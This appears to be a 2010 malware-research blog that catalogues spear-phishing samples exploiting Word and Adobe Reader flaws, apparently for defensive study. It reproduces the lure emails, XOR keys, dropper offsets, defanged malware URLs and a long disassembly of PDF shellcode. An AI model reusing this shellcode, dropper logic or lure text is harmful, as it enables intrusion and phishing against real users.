Feb 22 CVE-2006-6456 MS Word Taiwan 2010 from diguapinggao@gmail.com Febr 22, 2010 4:17 AM

• CVE-2006-6456 Unspecified vulnerability in Microsoft Word 2000, 2002, and 2003 and Word Viewer 2003 allows remote attackers to execute code via unspecified vectors related to malformed data structures that trigger memory corruption, a different vulnerability than CVE-2006-5994.

This is an old exploit targeting systems that have been unpatched for a long time. It appears that the document was created using 2007最新DOC捆绑器 (thanks to zha0 for helping translate and spell the tool name). The tool can be easily found online and is designed to exploit CVE-2006-6456 / MS07-014 vulnerabitly. According to the Symantec post describing this tool in April 2007, shellcode in documents generated by the tool usually starts at offset 0x16730, which seems to be our case too. The exploit will not work on Office 2003 SP3 and earlier versions with MS Update kb 929434 (MS07-014).

Update March 3, 2010 - Abhishek Lyall kindly provided additional details about the sample
"The "taskmgr.exe" embedded from offset 0x24E00. The exe is XOR'ed with 64 bit key 0xCA5039AF00000000. If you  XOR the file again with same key you'll find the exe headers at offset 0x24E00." Please see his screenshot below


 
Download  the following files as a password protected archive. (Please contact me if you need the password)

• Details 9ef09819aa5d552ecb15067a14a33152 - Taiwan 2010.doc

├───analysis files (by Tom - see below)
│ exe (taskmgr.ex   441D239744D05B861202E3E25A2AF0CD 32,768 bytes; taskmgr.idb)
│ shell  (shel1.bin; shel1.idb; shel2.bin; shel2.idb)
├───collected
│ 1.tmp                   441D239744D05B861202E3E25A2AF0CD 32,768 bytes
│ Taiwan 2010.doc 85AF26A74E548B56ADEA933CFB878520 52,224 bytes
│ taskmgr.exe          441D239744D05B861202E3E25A2AF0CD 32,768 bytes
└───original doc
   Taiwan 2010.doc  9EF09819AA5D552ECB15067A14A33152 183,808 bytes

From: 孙丰 [mailto:diguapinggao@gmail.com]
Sent: Monday, February 22, 2010 4:17 AM
To: diguapinggao@gmail.com
Subject: Taiwan 2010

Feb 20 CVE-2006-2492 MS Word w Trojan.Buzus.U Mainland Affairs Council list of the week itinerary from macnews@mac.gov.tw

• CVE-2006-2492 Buffer overflow in Microsoft Word in Office 2000 SP3, Office XP SP3, Office 2003 Sp1 and SP2, and Microsoft Works Suites through 2006, allows user-assisted attackers to execute arbitrary code via a malformed object pointer, as originally reported by ISC on 20060519 for a zero-day attack.

Download 20100214陸委楔@週活動一覽表(新增).doc as a password protected archive (please contact me if you need the password)

Details D05E0400B62687B5796C5D1B5CCDF6EE -- 20100214陸委楔@週活動一覽表(新增).doc

Update March 3, 2010  Abhishek Lyall (thank you!) provided additional details for this sample:
"The exe is attached at offset 0x63A0 and XOR'ed with key 0xB9FEAC13 but only first 564 bytes of the binary file are XOR'ed rest of the file is same. The file is dropped as "WinHttp.exe" in the %temp% directory. There is also one genuine doc file attached with exploit, which starts from offset 0xC010.  The size of the file is 45056 bytes. Note the doc headers start from "0xD0CF11E0"  but the doc file attached with the exploit has headers starting from "0xCFD0E011". This means when the doc file is dropped in %temp% the shellcode replaces CF D0 E0 11 with D0 CF 11 E0."

Analysis of the binary 
Trojan.Buzus.U

• http://virusscan.jotti.org/en/scanresult/a66179d31dcc53e4fd30a6f50264e967198417f6
• http://www.threatexpert.com/report.aspx?md5=096239f5cf4e1255634f3f2e7de8824e

Download
096239F5CF4E1255634F3F2E7DE8824E - WinHttp.exe 23,664 bytes
1796E908A782FBB445C96D88F4B84D9D original.doc 45056 bytes
 as a password protected archive (please contact me if you need the password)

From: macnews [mailto:macnews@mac.gov.tw]
Sent: Saturday, February 20, 2010 10:49 PM
To: XXXXXXXXXXXXXX
Subject: 陸委會一週行程一覽表

您好!
附件檔為陸委會一週行程一覽表(新增2/17賴主委行程)新聞參考資料,  提供您參考！

行政院大陸委員會聯絡處 敬上



Google Translate

From: macnews [mailto: macnews@mac.gov.tw]Sent: Saturday, February 20, 2010 10:49 PMTo: XXXXXXXXXXXXXXXXXSubject: MAC list of the week itineraryHello!Attachment file for the Mainland Affairs Council, a list of one week trip (new 2 / 17 Lai, chairman of the stroke) news references for your reference!
 Sincerely, the Executive Yuan's Mainland Affairs Council Liaison Office

Headers

Received: from CC-8575FC5050CF (61-221-98-169.HINET-IP.hinet.net [61.221.98.169])
    by msr29.hinet.net (8.9.3/8.9.3) with SMTP id LAA27251
    for  XXXXXXXXXXXXX   Sun, 21 Feb 2010 11:50:19 +0800 (CST)
Reply-To: macnews@mac.gov.tw
From: "macnews"
To: XXXXXXXXXXXXXXXXXXXXXXXX
Subject: =?BIG5?B?s7CpZbd8pEC2Z6bmtXukQMT9qu0=?=
Date: Sun, 21 Feb 2010 11:48:35 +0800
Message-Id:
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_10022111450473483032267_000"
X-Priority: 3
X-Mailer: OutLook   6.1.1.0

61.221.98.169

AS3462

HiNet Chunghwa Telecom Co., Ltd. Data Communication Business Group (HiNet)inetnum: 61.221.98.160 - 61.221.98.175

netname: CHANGHUA-SOCIEPT-NT-TW
descr: International Changhua Society Educate Nantou Society Educate Workstation
descr: Nantou City County Taiwan
country: TW
admin-c: GRC2-TW
tech-c: GRC2-TW
mnt-by: MAINT-TW-TWNIC
remarks: This information has been partially mirrored by APNIC from
remarks: TWNIC. To obtain more specific information, please use the
remarks: TWNIC whois server at whois.twnic.net.
changed: network-adm@hinet.net 20011002
status: ASSIGNED NON-PORTABLE
source: TWNIC

Slow / busy days

I noticed a significant reduction of targeted mailings during the past week - from many a day to zero. That's right, there were zero arrivals/submissions all week. We get most of targeted email from Asia and it just occurred to me that maybe the Lunar New Year (aka Chinese New Year) and more than two weeks of associated festivities is the reason - much in the same way as weekends I wrote about before. There is no scientific proof, it is just an idle observation. If I am correct, I don't know if sending malware laden messages would bring bad luck to the sender for the whole year or there is some other superstition at play, or they are just busy.  The New Year celebrations continue for 15 days, I am curious if I see anything new next week, or week after that, or all the malware malings stopped forever =)

I do have a lot of older messages and malware items to post and I have not been posting many for the lack of time during the past week. I will soon.

I wish everyone Happy New Year. Please accept our best wishes for the year of the Tiger.

Malware links (ESET NOD32 virus names)

•  Mar 5 hxxp://www.sciences-po.org/ contains HTML/ScrInject.B.Gen virus.
  
• Feb 24 hxxp://www.raktor.net/exeHelper/exeHelper.com contains probably a variant of Win32/Agent trojan.
  
•  Feb 18 hxxp://www1.fast-pc-scanner.in/build6_258.php?cmd=sendFile&counter=1&p=p52dcWppcF/Cj8bYboNuilik12qYVp/Zatrau4FdlJ/JnsWYeHpfqKygdZ6SYJjHZ2dil2lviqDWkaTboKCViaJ0WKrO1c+eb1qfnaSZdV/XlsndblaWpG9rnFuTYGCUXpmSlGprWKjKx6Chpqipbmdjr7DYW8vVoJeZmWCb05qRo5XHn8bMopmjb5vTh8Smom+coKGZpq2ek83YlpacrF+Zio7PoGvYmdah0qOeYKPU28ylnpVeZ3mZpma2gImZcp+TmpubzY7OVpHTnZ7M1m6xc4iLwtCpbaV2oZmmo2TYjtbKXKWbWpOl1GjDoW3MU8TR02yYo5+iyJZfk6Gpb6eldV/VoKGXY2ZjaGRrlV6WVqTZX6CVlWdtZmiYkpRtWJeccY2H contains a variant of Win32/Kryptik.CLM trojan
• Feb. 16 hxxtp://google.analytics.com.zelhnalbivd.info/kav/kav3 .asp/eHbcb9bc6cV0100f070006R111090bf102Tf7c2bdef201l0409K80667147318J130204010 contains a variant of Win32/Kryptik.CKT trojan.
• Feb 15 hxxp://www.usakpedia.com/default.asp contains JS/TrojanDownloader.Agent.NSA

========================================================

• Feb. 05 hxxp://klaikius.com/news/index.php contains JS/Exploit.Agent.AGC trojan.
• Feb. 05  hxxp://arra.servehttp.com/nc.jar contains multiple threats. 
• Feb. 05 hxxp://yvuxksuk.cn/10/andEthics.jar contains probably a variant of Java/TrojanDownloader.Agent.AB trojan.
•   hxxp://yvuxksuk.cn/10/exactPointMiddle.pdf contains JS/Exploit.Pdfka.NRF trojan. 
• Feb. 5 hxxp://klaikius.com/news/index.php contains JS/Exploit.Agent.AGC trojan.
• Feb. 5 hxxp://huliganseres.net//pdf.php contains JS/Exploit.Pdfka.NQQ trojan.
• Feb. 5 hxxp://www.cald.org/site/js/ddaccordion.js contains JS/TrojanDownloader.Agent.NRO trojan.
• Feb. 5 hxxp://www.drr.gov.bd/ contains JS/TrojanDownloader.Agent.NRL trojan.
• Feb. 5  hxxp://www.reflecttass.com.br/unicor/MailboxMicrosoft09328.zip contains a variant of Win32/TrojanDownloader.Banload.OEL trojan.
•  =============================
• hxxp://google.analytics.com.jvoamkvyxv.info/nte/avorp1kav1.html/oU230d9c2eHbcb9bc6cV0100f070006R8bbc0d14102Tf7d8079a201l0409Kdbd3cfa3317 contains JS/Exploit.Pdfka.ASD trojan.
  
• hxxp://www.cald.org/site/js/jquery-1.js contains JS/TrojanDownloader.Agent.NRO trojan.
•  hxxp://ww2.millages.net/pqothqzoetqopww/xd/pdf.pdf contains PDF/Exploit.Gen trojan.
•   hxxp://eiypqcionpdv.com/nte/avorp1kav1.php/oU230d9c2eHbcb9bc6cV03007f35002Re5e732c2102Tf7e6c576Q00000000901801F00000000J11000601l0409K7044875f317  -contains JS/Exploit.Pdfka.ASD trojan.
•   hxxp://ditrnbibarsp.com/kav/KAV1.php/oHbcb9bc6cV0100f070006Rf129df8a102Tf7e753eb201l0409K9395be4b317 contains JS/Exploit.Pdfka.ASD trojan.
•  hxxp://google.com.analytics.qehtsmuqcun.com/nte/trest11/oHbcb9bc6cV0100f070006Rac213110102Tf7e428df201l0409K0dedc3c0317 contains JS/Exploit.Pdfka.ASD trojan.
•  hxxp://www.marines.cc/data.js contains JS/TrojanDownloader.Agent.NRK trojan.
•    hxxp://www.reflecttass.com.br/unicor/MailboxMicrosoft09328.zip contains a variant of Win32/TrojanDownloader.Banload.OEL trojan.
•   hxxp://www.drr.gov.bd/ contains JS/TrojanDownloader.Agent.NRL trojan
•   hxxp://google.com.analytics.gfjpoiqgcun.com/nte/TREST11.py/oHbcb9bc6cV0100f070006Rac213110102Tf7ec50ba201l0409K848c964d317 contains JS/Exploit.Pdfka.ASD trojan
•  hxxp://www.deaf-video.de/3c55ea9320fcadfabb79d08f91bef510/.a1/pdf.php contains PDF/Exploit.Pidief.OJS.Gen trojan   (manual[1].pdf)

   

MD5 / SHA1 / CRC32 hashes of files available upon request (Malicious mail attachments - MS Office, PDF, and others)

Malicious mail attachments - MS Office, PDF, and others

The following files are available for research upon request. Please check the malware list first, some of them are already listed with download links. 

All these files were scanned with Virustotal. Use VT hash search for more details. I will add more files later.

Full list of files

MD5 / SHA1 / CRC32 hashes of files available upon request (Client side malware, tools, dropped files, etc)

Client side - malware, potentially unwanted applications, and tools

These files are available for research upon request. 

All these files were scanned with Virustotal. Use VT hash search for more details.

If you need information about these files (origin or associated files), email me, I might have a few things to say

Full list of files ---

MD5 / SHA1 / CRC32 hashes of files available upon request (from Malware kits)

These binaries are part of various trojans and malware kits. Full kits / programs / sources are available for research upon request.

Malware kits -  binaries only listed. Some of them were scanned with Virustotal at some point. Use VT hash search for more details

Full list of files

Feb 10 CVE-2009-4324 Rep. Mike Castle faking @ssd.com sender 2010-02-10 10:08 AM

This post is to be continued...

•  CVE-2009-4324 Use-after-free vulnerability in the Doc.media.newPlayer method in Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, allows remote attackers to execute arbitrary code via a crafted PDF file using ZLib compressed streams, as exploited in the wild in December 2009.

• Download 7775E7ADE13D73919E8DCA4695AE7D0A- Invitation to Mike Castle Event.pdf as a password protected archive (contact me if you need the password)

• Download 7775E7ADE13D73919E8DCA4695AE7D0A-Unpackedpdfs+JS-byVilly (password protected, use the scheme or contact me)

According to  Villy (thanks, Villy :)) the file contains two embedded pdfs - one small with js exploiting CVE-2009-4324 and one larger clean file. There is also a xored exe between those two files.

It is a very nice package.

 
From:[Redacted] [mailto:[Redacted]@gmail.com]
Sent: 2010-02-10 10:08 AM
Subject: Rep. Mike Castle

Attached is an invitation for a February 15 reception honoring Rep. Mike Castle (R-De) in his candidacy for the U.S. Senate.   I hope you will be able to join us.

Although his expected Democrat opponent has dropped out of the race, the New Castle County Executive has already announced his intention to seek the Democractic nomination.  Hence, Mike's political situation is strong, but the Democrats are expected to make a full scale contest out of this race.

Presuming your support, Mike will make a great contribution in the Senate for Delaware and the Country.

Please send your response to me at: [Redacted]@gmail.com

All best,

[Redacted]
[Redacted]
[Redacted]@ssd.com

Direct: +1.[Redacted]
Fax: +1.[Redacted]
Mobile: +[Redacted]

Squire Sanders Public Advocacy, LLC
a wholly owned non-law firm affiliate of
Squire, Sanders & Dempsey L.L.P.
Suite 500
1201 Pennsylvania Avenue, N.W.
Washington, D.C. 20004

sspa.ssd.com

Squire Sanders|Legal Counsel Worldwide
32 Offices in 15 Countries
Cincinnati • Cleveland • Columbus • Houston • Los Angeles • Miami • New York • Palo Alto • Phoenix • San Francisco • Tallahassee • Tampa • Tysons Corner • Washington DC • West Palm Beach | Bogotá+ • Buenos Aires+ • Caracas • La Paz+ • Lima+ • Panamá+ • Rio de Janeiro • Santiago+ • Santo  Domingo • São Paulo | Bratislava • Brussels • Bucharest+ • Budapest • Dublin+ • Frankfurt • Kyiv • London • Moscow • Prague • Riyadh+ • Warsaw | Beijing • Hong Kong • Shanghai • Tokyo
+Independent Network Firm

NOTICE: This email message and all attachments transmitted with it are intended solely for the use of the addressees and may contain legally privileged, protected or confidential information. If you have received this message in error, please notify the sender immediately by email reply and please delete this message from your computer and destroy any copies.


IRS Circular 230 Notice: To comply with U.S. Treasury regulations, we advise you that any U.S. federal tax advice included in this communication is not intended or written to be used, and cannot be used, to avoid any U.S. federal tax penalties or to promote, market, or recommend to another party any transaction or matter.


Original PDF
 http://www.virustotal.com/analisis/70f43ed12ff8c48156f5d1ad9e09f12ecbcff77f64bbc8a2f58566e3e9f3c06f-1265828519
  File Invitation_to_Mike_Castle_Event.p received on 2010.02.10 19:01:59 (UTC)
Result: 1/41 (2.44%)
Sophos     4.50.0     2010.02.10     Mal/PDFEx-D
File size: 325206 bytes
MD5   : 7775e7ade13d73919e8dca4695ae7d0a

The first unpacked pdf 1.pdf with CVE-2009-4324
http://www.virustotal.com/analisis/e83a2b658f404731e314a8646e258d17a383ac474564c3d5f6ccd36ad2a93c3d-1266008863
Result: 5/41 (12.2%)
Loading server information...
Avast    4.8.1351.0    2010.02.12    JS:Pdfka-gen
BitDefender    7.2    2010.02.12    Exploit.PDF-JS.Gen
GData    19    2010.02.12    Exploit.PDF-JS.Gen
nProtect    2009.1.8.0    2010.02.12    Exploit.PDF-JS.Gen.C02
Sunbelt    5671    2010.02.11    Exploit.PDF-JS.Gen (v)

File size: 7221 bytes
MD5...: caf3ff27a9688097cf13906c117513ef

1.pdf shellcode (again by Villy)

text:00401020 inc ecx .text:00401021 inc ecx .text:00401022 inc ecx .text:00401023 call loc_401029 .text:00401023 ; --------------------------------------------------------------------------- .text:00401028 db 0 .text:00401029 ; --------------------------------------------------------------------------- .text:00401029 .text:00401029 loc_401029: ; CODE XREF: .text:00401023 j .text:00401029 mov ecx, [esp] .text:0040102C add esp, 4 .text:0040102F lea ecx, [ecx+12h] .text:00401032 .text:00401032 loc_401032: ; CODE XREF: .text:00401039 j .text:00401032 inc ecx .text:00401033 xor byte ptr [ecx], 67h .text:00401036 cmp byte ptr [ecx], 90h .text:00401039 jnz short loc_401032 .text:0040103B push 11h .text:0040103D push 0ACC8h .text:00401042 push 9CC8h .text:00401047 push 1000h .text:0040104C push 0B720h .text:00401051 push 0ACD9h .text:00401056 push 0 .text:00401058 push offset unk_163F9 .text:0040105D push esp .text:0040105E cld .text:0040105F push 94E43293h .text:00401064 push 741F8DC4h .text:00401069 push 130F36B2h .text:0040106E push 0FF0D6657h .text:00401073 push 1A22F51h .text:00401078 push 837DE239h .text:0040107D push 6118F28Fh .text:00401082 push 0DBACBE43h .text:00401087 push 0B4FFAFEDh .text:0040108C push 0A19922A9h .text:00401091 push 0AC0A138Eh .text:00401096 push 0E58B879Bh .text:0040109B mov esi, esp .text:0040109D lea edi, [esi-30h] .text:004010A0 xor ebx, ebx .text:004010A2 mov bh, 4 .text:004010A4 sub esp, ebx .text:004010A6 push esp .text:004010A7 xor edx, edx .text:004010A9 mov ebx, fs:[edx+30h] .text:004010AD mov ecx, [ebx+0Ch] .text:004010B0 mov ecx, [ecx+1Ch] .text:004010B3 mov ecx, [ecx] .text:004010B5 mov ebp, [ecx+8] .text:004010B8 .text:004010B8 loc_4010B8: ; CODE XREF: .text:00401108 j .text:004010B8 lodsd .text:004010B9 cmp eax, 94E43293h .text:004010BE jnz short $+2 .text:004010C0 pusha .text:004010C1 mov eax, [ebp+3Ch] .text:004010C4 mov ecx, [ebp+eax+78h] .text:004010C8 add ecx, ebp .text:004010CA mov ebx, [ecx+20h] .text:004010CD add ebx, ebp .text:004010CF xor edi, edi .text:004010D1 .text:004010D1 loc_4010D1: ; CODE XREF: .text:004010EB j .text:004010D1 inc edi .text:004010D2 mov esi, [ebx+edi*4] .text:004010D5 add esi, ebp .text:004010D7 cdq .text:004010D8 .text:004010D8 loc_4010D8: ; CODE XREF: .text:004010E5 j .text:004010D8 movsx eax, byte ptr [esi] .text:004010DB cmp al, ah .text:004010DD jz short loc_4010E7 .text:004010DF ror edx, 7 .text:004010E2 add edx, eax .text:004010E4 inc esi .text:004010E5 jmp short loc_4010D8 .text:004010E7 ; --------------------------------------------------------------------------- .text:004010E7 .text:004010E7 loc_4010E7: ; CODE XREF: .text:004010DD j .text:004010E7 cmp edx, [esp+1Ch] .text:004010EB jnz short loc_4010D1 .text:004010ED mov ebx, [ecx+24h] .text:004010F0 add ebx, ebp .text:004010F2 mov di, [ebx+edi*2] .text:004010F6 mov ebx, [ecx+1Ch] .text:004010F9 add ebx, ebp .text:004010FB add ebp, [ebx+edi*4] .text:004010FE xchg eax, ebp .text:004010FF pop edi .text:00401100 stosd .text:00401101 push edi .text:00401102 popa .text:00401103 cmp eax, 94E43293h .text:00401108 jnz short loc_4010B8 .text:0040110A sub esp, 800h .text:00401110 mov ebp, esp .text:00401112 mov eax, [edi-4] .text:00401115 add eax, 5 .text:00401118 mov [edi-4], eax .text:0040111B mov eax, [edi-14h] .text:0040111E add eax, 5 .text:00401121 mov [edi-14h], eax .text:00401124 push 0 .text:00401126 call dword ptr [edi-30h] .text:00401129 xor ecx, ecx .text:0040112B xor ebx, ebx .text:0040112D cmp byte ptr [eax], 3Ah .text:00401130 jnz short loc_401133 .text:00401132 inc ebx .text:00401133 .text:00401133 loc_401133: ; CODE XREF: .text:00401130 j .text:00401133 ; .text:00401138 j ... .text:00401133 inc ecx .text:00401134 cmp byte ptr [eax+ecx], 3Ah .text:00401138 jnz short loc_401133 .text:0040113A inc ebx .text:0040113B cmp ebx, 2 .text:0040113E jnz short loc_401133 .text:00401140 dec ecx .text:00401141 add eax, ecx .text:00401143 mov [ebp+100h], eax .text:00401149 xor ecx, ecx .text:0040114B .text:0040114B loc_40114B: ; CODE XREF: .text:00401150 j .text:0040114B inc ecx .text:0040114C cmp byte ptr [eax+ecx], 22h .text:00401150 jnz short loc_40114B .text:00401152 mov byte ptr [eax+ecx], 0 .text:00401156 push 0 .text:00401158 push 80h .text:0040115D push 3 .text:0040115F push 0 .text:00401161 push 3 .text:00401163 push 80000000h .text:00401168 mov esi, [ebp+100h] .text:0040116E push esi .text:0040116F call $+5 .text:00401174 pop eax .text:00401175 add eax, 0Dh .text:00401178 push eax .text:00401179 push ebp .text:0040117A mov ebp, esp .text:0040117C mov eax, [edi-4] .text:0040117F jmp eax .text:00401181 ; --------------------------------------------------------------------------- .text:00401181 mov [edi+34h], eax .text:00401184 push ebp .text:00401185 push 100h .text:0040118A call dword ptr [edi-18h] .text:0040118D lea esi, [ebp+100h] .text:00401193 push esi .text:00401194 push 0 .text:00401196 push 0 .text:00401198 push ebp .text:00401199 call dword ptr [edi-28h] .text:0040119C push 0 .text:0040119E push 0 .text:004011A0 push 2 .text:004011A2 push 0 .text:004011A4 push 0 .text:004011A6 push 40000000h .text:004011AB push esi .text:004011AC call $+5 .text:004011B1 pop eax .text:004011B2 add eax, 0Dh .text:004011B5 push eax .text:004011B6 push ebp .text:004011B7 mov ebp, esp .text:004011B9 mov eax, [edi-4] .text:004011BC jmp eax .text:004011BE ; --------------------------------------------------------------------------- .text:004011BE cmp eax, 0 .text:004011C1 jle loc_401433 .text:004011C7 mov [ebp+600h], eax .text:004011CD mov ebx, [edi+44h] .text:004011D0 mov esi, [edi+34h] .text:004011D3 push 0 .text:004011D5 push 0 .text:004011D7 push ebx .text:004011D8 push esi .text:004011D9 call dword ptr [edi-20h] .text:004011DC mov ebx, [edi+48h] .text:004011DF mov dword ptr [ebp+604h], 400h .text:004011E9 .text:004011E9 loc_4011E9: ; CODE XREF: .text:00401263 j .text:004011E9 push 0 .text:004011EB lea eax, [ebp+700h] .text:004011F1 push eax .text:004011F2 push 400h .text:004011F7 lea eax, [ebp+200h] .text:004011FD push eax .text:004011FE mov esi, [edi+34h] .text:00401201 push esi .text:00401202 call dword ptr [edi-0Ch] .text:00401205 mov eax, ebx .text:00401207 sub eax, 400h .text:0040120C cmp eax, 0 .text:0040120F jg short loc_401217 .text:00401211 mov [ebp+604h], ebx .text:00401217 .text:00401217 loc_401217: ; CODE XREF: .text:0040120F j .text:00401217 xor ecx, ecx .text:00401219 .text:00401219 loc_401219: ; CODE XREF: .text:00401239 j .text:00401219 lea esi, [ebp+ecx+200h] .text:00401220 lodsb .text:00401221 xor al, cl .text:00401223 ror al, 3 .text:00401226 xchg edi, edx .text:00401228 lea edi, [ebp+ecx+200h] .text:0040122F stosb .text:00401230 xchg edi, edx .text:00401232 inc ecx .text:00401233 cmp ecx, [ebp+604h] .text:00401239 jnz short loc_401219 .text:0040123B push 0 .text:0040123D lea eax, [ebp+704h] .text:00401243 push eax .text:00401244 push dword ptr [ebp+604h] .text:0040124A lea eax, [ebp+200h] .text:00401251 ; --------------------------------------------------------------------------- .text:00401251 push dword ptr [ebp+600h] .text:00401252 mov ch, 0 .text:00401252 ; --------------------------------------------------------------------------- .text:00401255 db 0 .text:00401256 db 0 .text:00401257 ; --------------------------------------------------------------------------- .text:00401257 call dword ptr [edi-8] .text:0040125A sub ebx, 400h ; CODE XREF: .text:004012BC j .text:00401260 cmp ebx, 0 .text:00401263 jg short loc_4011E9 .text:00401265 push dword ptr [ebp+600h] ; CODE XREF: .text:004012CA j .text:0040126B call dword ptr [edi-10h] .text:0040126E push 0 .text:00401270 lea esi, [ebp+100h] .text:00401276 push esi .text:00401277 call $+5 .text:0040127C pop eax .text:0040127D add eax, 0Dh .text:00401280 push eax .text:00401281 push ebp .text:00401282 mov ebp, esp .text:00401284 mov eax, [edi-14h] .text:00401287 jmp eax .text:00401289 ; --------------------------------------------------------------------------- .text:00401289 push 0 .text:0040128B push 0 .text:0040128D push dword ptr [edi+4Ch] .text:00401290 push dword ptr [edi+34h] .text:00401293 call dword ptr [edi-20h] .text:00401296 push 0 .text:00401298 lea eax, [ebp+700h] .text:0040129E push eax .text:0040129F push dword ptr [edi+50h] .text:004012A2 lea eax, [ebp+100h] .text:004012A8 push eax .text:004012A9 push dword ptr [edi+34h] .text:004012AA ja short near ptr loc_4012DC+4 .text:004012AD push edi .text:004012B3 jl short near ptr loc_4012B6+4 .text:004012B6 .text:004012B6 loc_4012B6: .text:004012B6 add [ebp-8], dh .text:004012BB push eax .text:004012BC xchg edi, ebx .text:004012BE lea edi, [ebp+eax+0] .text:004012C5 ; --------------------------------------------------------------------------- .text:004012C5 add [eax], eax .text:004012C9 movsb .text:004012CA ; --------------------------------------------------------------------------- .text:004012CA xchg edi, ebx .text:004012CC push 0 .text:004012D1 add ch, [edx+0] .text:004012D1 ; --------------------------------------------------------------------------- .text:004012D7 db 0 .text:004012D8 db 0 .text:004012D9 db 0 .text:004012DA ; --------------------------------------------------------------------------- .text:004012DA inc eax .text:004012DB push ebp .text:004012DC .text:004012DC loc_4012DC: .text:004012DC call $+5 .text:004012E1 pop eax .text:004012E2 add eax, 0Dh .text:004012E5 push eax .text:004012E6 push ebp .text:004012E7 mov ebp, esp .text:004012E9 mov eax, [edi-4] .text:004012EC jmp eax .text:004012EE ; --------------------------------------------------------------------------- .text:004012EE cmp eax, 0 .text:004012F1 jle loc_401433 .text:004012F7 mov [ebp+600h], eax .text:004012FD mov ebx, [edi+3Ch] .text:00401300 mov esi, [edi+34h] .text:00401303 push 0 .text:00401305 push 0 .text:00401307 push ebx .text:00401308 push esi .text:00401309 call dword ptr [edi-20h] .text:0040130C mov ebx, [edi+40h] .text:0040130F mov dword ptr [ebp+604h], 400h .text:00401319 .text:00401319 loc_401319: ; CODE XREF: .text:0040136C j .text:00401319 push 0 .text:0040131B lea eax, [ebp+700h] .text:00401321 push eax .text:00401322 push 400h .text:00401327 lea eax, [ebp+200h] .text:0040132D push eax .text:0040132E push esi .text:00401334 sub eax, 400h .text:00401335 .text:00401335 loc_401335: .text:00401335 add [eax+eax], al .text:00401339 cmp eax, 0 .text:0040133B add [edi+6], bh .text:0040133F popf .text:00401340 add al, 6 .text:00401343 add [edx+0], ch .text:00401349 pop es .text:00401349 ; --------------------------------------------------------------------------- .text:0040134A db 0 .text:0040134B db 0 .text:0040134C ; --------------------------------------------------------------------------- .text:0040134C push eax .text:0040134D push dword ptr [ebp+604h] .text:00401353 lea eax, [ebp+200h] .text:00401359 push eax .text:0040135A push dword ptr [ebp+600h] .text:0040135B mov ch, 0 .text:0040135B ; --------------------------------------------------------------------------- .text:0040135E db 0 .text:0040135F db 0 .text:00401360 db 0FFh .text:00401361 ; --------------------------------------------------------------------------- .text:00401361 push edi .text:00401362 clc .text:00401363 sub ebx, 400h .text:00401369 cmp ebx, 0 .text:0040136C jg short loc_401319 .text:0040136E push dword ptr [ebp+600h] .text:00401374 call dword ptr [edi-10h] .text:00401377 lea esi, [ebp+100h] .text:0040137D push 100h .text:00401382 push esi .text:00401383 push 0 .text:00401385 call dword ptr [edi-24h] .text:00401388 mov byte ptr [ebp+0FFh], 22h .text:0040138F xor ecx, ecx .text:00401391 .text:00401391 loc_401391: ; CODE XREF: .text:0040139A j .text:00401391 inc ecx .text:00401392 cmp byte ptr [ebp+ecx+100h], 0 .text:0040139A jnz short loc_401391 .text:0040139C mov dword ptr [ebp+ecx+100h], 732F2022h .text:004013A7 add ecx, 4 .text:004013AA mov word ptr [ebp+ecx+100h], 2220h .text:004013B4 add ecx, 2 .text:004013B7 xchg edi, ebx .text:004013B9 xor edx, edx .text:004013BB .text:004013BB loc_4013BB: ; CODE XREF: .text:004013CC j .text:004013BB lea esi, [ebp+edx+0] .text:004013BF lodsb .text:004013C0 lea edi, [ebp+ecx+100h] .text:004013C7 ; --------------------------------------------------------------------------- .text:004013C7 stosb .text:004013C8 inc ecx .text:004013C9 inc edx .text:004013CA cmp al, 0 .text:004013CC jnz short loc_4013BB .text:004013CE dec ecx .text:004013CF mov byte ptr [ebp+ecx+100h], 22h .text:004013D7 mov dword ptr [ebp+0EBh], 2E444D43h .text:004013E1 mov dword ptr [ebp+0EFh], 20455845h .text:004013EB mov word ptr [ebp+0F3h], 632Fh .text:004013F4 mov byte ptr [ebp+0F5h], 20h .text:004013FB mov dword ptr [ebp+0F6h], 6B736174h .text:00401405 mov dword ptr [ebp+0FAh], 7473696Ch .text:0040140F mov byte ptr [ebp+0FEh], 26h .text:00401416 xchg edi, ebx .text:00401418 lea eax, [ebp+0EBh] .text:0040141E push 0 .text:00401420 push eax .text:00401421 call $+5 .text:00401426 pop eax .text:00401427 add eax, 0Dh .text:0040142A push eax .text:0040142B push ebp .text:0040142C mov ebp, esp .text:0040142E mov eax, [edi-14h] .text:00401431 jmp eax .text:00401433 ; --------------------------------------------------------------------------- .text:00401433 .text:00401433 loc_401433: ; CODE XREF: .text:004011C1 j .text:00401433 ; .text:004012F1 j .text:00401433 push 0 .text:00401438 push edi .text:0040143E div edi .text:00401440 test dword ptr [eax], 0 .text:00401440 ;

More flowers with some poison ivy

CVE-2009-4324 Use-after-free vulnerability in the Doc.media.newPlayer method in Adobe Reader and Acrobat 8.0 through 9.2, and possibly earlier versions, allows remote attackers to execute arbitrary code using ZLib compressed streams, as exploited in the wild in December 2009. 

Mikko Hyppönen from F-Secure posted today a nice postcard with a cute tiger and flowers. Gunther (thank you:)) sent one just like Mikko's as a present to Contagio and now you can enjoy them too.


What is interesting is that I have this file already except I received it as a boring "project.pdf"  (Jan 13 CVE-2009-4324 Re: Project from spoofed [Redacted]@state.gov 13 Jan 2010 06:17:21 -0000). Of course it is identical to the postcard, despite the uninspiring name.

Update March 8, 2010 -a few additional details thanks to an anonymous contributor. (scroll down)




Download  116d92f036f68d325068f3c7bbf1d535.pdf as a password protected archive (please contact me if you need the password)

Download Javascript, shellcode, stage2 shellcode and dropped exe (scroll down for more information)

Virustotal
File 116d92f036f68d325068f3c7bbf1d535.txt received on 2010.02.09 16:24:16 (UTC)
Result: 21/41 (51.22%)
a-squared 4.5.0.50 2010.02.09 Exploit.JS.Pdfka!IK
AhnLab-V3 5.0.0.2 2010.02.09 PDF/Exploit
Authentium 5.2.0.5 2010.02.09 PDF/Expl.FO
BitDefender 7.2 2010.02.09 Exploit.PDF-JS.Gen
CAT-QuickHeal 10.00 2010.02.09 Expoit.PDF.FlateDecode
ClamAV 0.96.0.0-git 2010.02.09 Exploit.PDF-9757
Comodo 3876 2010.02.09 UnclassifiedMalware
DrWeb 5.0.1.12222 2010.02.09 Exploit.PDF.687
eSafe 7.0.17.0 2010.02.09 Win32.Pidief.H
F-Secure 9.0.15370.0 2010.02.09 Exploit.PDF-JS.Gen
GData 19 2010.02.09 Exploit.PDF-JS.Gen
Ikarus T3.1.1.80.0 2010.02.09 Exploit.JS.Pdfka
